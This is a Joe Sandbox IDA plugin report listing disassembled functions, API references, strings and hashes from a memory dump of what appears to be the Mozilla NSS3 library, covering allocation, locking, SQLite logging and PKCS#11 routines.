Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6E3CF8
PR_ExitMonitor.NSS3(?), ref: 6C6E3D15
PR_ExitMonitor.NSS3(?), ref: 6C6E3D2E

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 78ee8dcc65453962edf3349c23997cda2faaf976ce615f05c3416911d81cb3b0
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 0C115B75A0A6006FE7205A25EC417DBB3E5EF1530CF500136E41A87B30F232F81AC74A

Function 6C6AFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction ID: 3f4a05c9c742616e56428bfde8db8ef3fa3682fcff5bcd5d0f55f93b194d77b2
Opcode Fuzzy Hash: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction Fuzzy Hash: 9011E5B6600205BBEB008B95DC40A5BB798BF55399F148034F91897B12E732DD26C7AB

Function 6C75FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C75FD9E

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C75FDB9

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C75FDD4
PR_Lock.NSS3 ref: 6C75FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C75FE0D
PR_Unlock.NSS3 ref: 6C75FE23

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction ID: 6dd34c5b40ab76d90fec65025ae3ab606a4266a3735d782823e857ba3e508371
Opcode Fuzzy Hash: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction Fuzzy Hash: F501A1B6A04601ABCF058F15FD00C42B672FB022687154374E83647BE2EB22ED29D7C6

Function 6C63AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C63AFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6C63AF5C
misuse, xrefs: 6C63AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C63AFC4
%s at line %d of [%.10s], xrefs: 6C63AFD3

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction ID: cc48d3b6dd0f42abda03a091663f80657c0467757186f32d54182a31db5f781a
Opcode Fuzzy Hash: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction Fuzzy Hash: 2E910675A042258FDF04CF59C854BAAB7F1BF45314F1960ACE869AB792C334ED01DB64

Function 6C69FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C69FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C69FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C69FDDE

Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8821
Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A883D
Part of subcall function 6C6A8800: EnterCriticalSection.KERNEL32(?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8856
Part of subcall function 6C6A8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C6A8887
Part of subcall function 6C6A8800: PR_Unlock.NSS3(?,?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8899

Strings

pkcs11:, xrefs: 6C69FC4F

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction ID: b93456ca4730d94e4b444e25194c5bd86eceaf0c0e67f3adfd0141c361d24dbf
Opcode Fuzzy Hash: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction Fuzzy Hash: 7651D0B1A05113ABEB008FA59C40F9A73B5AF4635CF260425FD155BB61EB20E909CB9F

Function 6C5DBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C5DBE02

Part of subcall function 6C709C40: memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DBE9F

Strings

database corruption, xrefs: 6C5DBE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DBE89
%s at line %d of [%.10s], xrefs: 6C5DBE98

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction ID: 2cb60c456c74f4e363c52790e46bb529bea1504c2525b308e91cf8af1d7d90c4
Opcode Fuzzy Hash: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction Fuzzy Hash: 4A310431A0435A8BC700EF6D8C94AABBBA3EF45314B1A8954EE541BA41D370FD04C7D5

Function 6C6C6DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C6E57

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6EAA

Strings

nvl, xrefs: 6C6C6DF9

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nvl
API String ID: 3163584228-2622381835
Opcode ID: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction ID: 27d761a5b64c3951a42306a2f93fccc51be671b2957b802cd5d755221fd57891
Opcode Fuzzy Hash: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction Fuzzy Hash: 5F31C331718612EEDB145F34CD083A6BBA4EB4931AF14063ED89AD6A40E730E456CF8F

Function 6C651EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651EE2

Part of subcall function 6C6B1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C651D97,?,?), ref: 6C6B1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F37
DER_DecodeTimeChoice_Util.NSS3(?,dLel,?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F53

Strings

dLel, xrefs: 6C651F2B, 6C651F51

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLel
API String ID: 3216063065-2953738621
Opcode ID: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction ID: 33d39be9f9a2e1454272c99b24912e9fb2a47bea87085d4a8d4070bcf6d88dfd
Opcode Fuzzy Hash: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction Fuzzy Hash: 7921A471504306AFC700CF2ADD00ADBB7E9BB85799F500929E854D3A40F331E529CBE6

Function 6C640DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C640BDE), ref: 6C640DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C640BDE), ref: 6C640DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C640BDE), ref: 6C640DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C640BDE), ref: 6C640E32

Strings

%s incr => %d (find lib), xrefs: 6C640E2D

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction ID: a1a2d71e554ac5d16cb7eb8362636ccec162f22189dc586c63fef9a8274ccdc6
Opcode Fuzzy Hash: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction Fuzzy Hash: FB012472700624AFE7208F259C49E1777FCDB45B09B04843DED09D7A41E762EC2987E5

Function 6C681CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C681CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C681CF1

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

Strings

C_Initialize, xrefs: 6C681CD3
pInitArgs = 0x%p, xrefs: 6C681CEC
nvl, xrefs: 6C681D09, 6C681D30

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nvl
API String ID: 1907330108-1581979034
Opcode ID: 51c45aec4b35d8bd2d5154f3fda561a9b05b18c114dba0dd76eefd301f100147
Instruction ID: 5f707e80267b0eb94de6884d87c49c4de110a5f4ac24cb9493e40e417f2e9577
Opcode Fuzzy Hash: 51c45aec4b35d8bd2d5154f3fda561a9b05b18c114dba0dd76eefd301f100147
Instruction Fuzzy Hash: B901DEB53031449FDB009F64CA0CF5537B5EB8331AF088434E81996A51DB34D849C7AE

Function 6C6FAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC2D

Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
Part of subcall function 6C69ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
Part of subcall function 6C69ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
Part of subcall function 6C69ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC59
free.MOZGLUE(8CB6FF01,6C6D6AC6,?,?,?,?,?,?,?,?,?,?,6C6E5D40,00000000,?,6C6EAAD4), ref: 6C6FAC62

Strings

@]nl, xrefs: 6C6FAC05

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]nl
API String ID: 1595327144-1632522648
Opcode ID: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
Instruction ID: 96968e15d712d2bf2b7c3cbabc7411a1159df50cbfd1495cab9fc49957aee61b
Opcode Fuzzy Hash: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
Instruction Fuzzy Hash: 96018BB5A002009FDF00CF58E8D0B5677E8AF05B18F1880A8E9598F707D731E809CBAA

Function 6C5E9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9D45
EnterCriticalSection.KERNEL32(?), ref: 6C5E9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C5E9DDE

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction ID: 1be4a305a51174723a6a6b9320aeef6d6943676756e98749c0bce4803bf0d159
Opcode Fuzzy Hash: 2907e448da2e801e9dfb9984e3d5a46083723adb280f9f6616f0a518a9036c6e
Instruction Fuzzy Hash: CBA1C071B041049BEB09EF65ED98BAE3771BB8B315F28013DD41B47B40DB3AA845DB86

Function 6C671E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C671ECC

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

TlsGetValue.KERNEL32 ref: 6C671EDF
EnterCriticalSection.KERNEL32(?), ref: 6C671EEF
PR_ExitMonitor.NSS3(?), ref: 6C671F37
PR_Unlock.NSS3(?), ref: 6C671F44

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
